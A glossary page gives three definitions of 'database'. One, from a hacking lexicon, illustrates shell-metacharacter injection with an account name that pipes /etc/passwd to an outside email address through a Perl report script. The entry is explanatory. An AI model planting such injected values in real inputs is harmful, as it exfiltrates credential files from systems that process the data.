1. A computer holding large amounts of information that can be searched by an Internet user. A storehouse of information on the Net. From Glossary of Distance Education and Internet Terminology

2. An indexed collection of information which can be accessed, modified and queried using a query language such as SQL. Popular databases applications for Linux include the commercial Oracle product and Informix-SE. From Linux Guide @FirstLinux

3. The database is one of the underpinning applications of the Internet. The concept of database "records" predates that of "files" within a computer. These days, most discussion of databases revolves around SQL (structured query language). An SQL statement is a special language that you may use to encode a statement such as show me everyone who has a first name of "Robert". The actual SQL statement would look like: "SELECT * from Everyone where firstname equals 'Robert'". Key point: The near-programming quality of SQL means that it is open to much the same security holes that plague other scripting languages. For example, a frequent attacks against databases is to insert shell metacharacters into data fields. For example, consider a reporting system using PERL that extracts data out of a database. I may create a bank acount where name is "| mail smc@robertgraham.com < /etc/passwd", which will send me the password field when you run your month-end reports. In late 1999 and early year 2000, thousands of Microsoft's web servers were broken into because programs submitted command-line statements through SQL query statements through a default script left open on default installations of their servers. From Hacking-Lexicon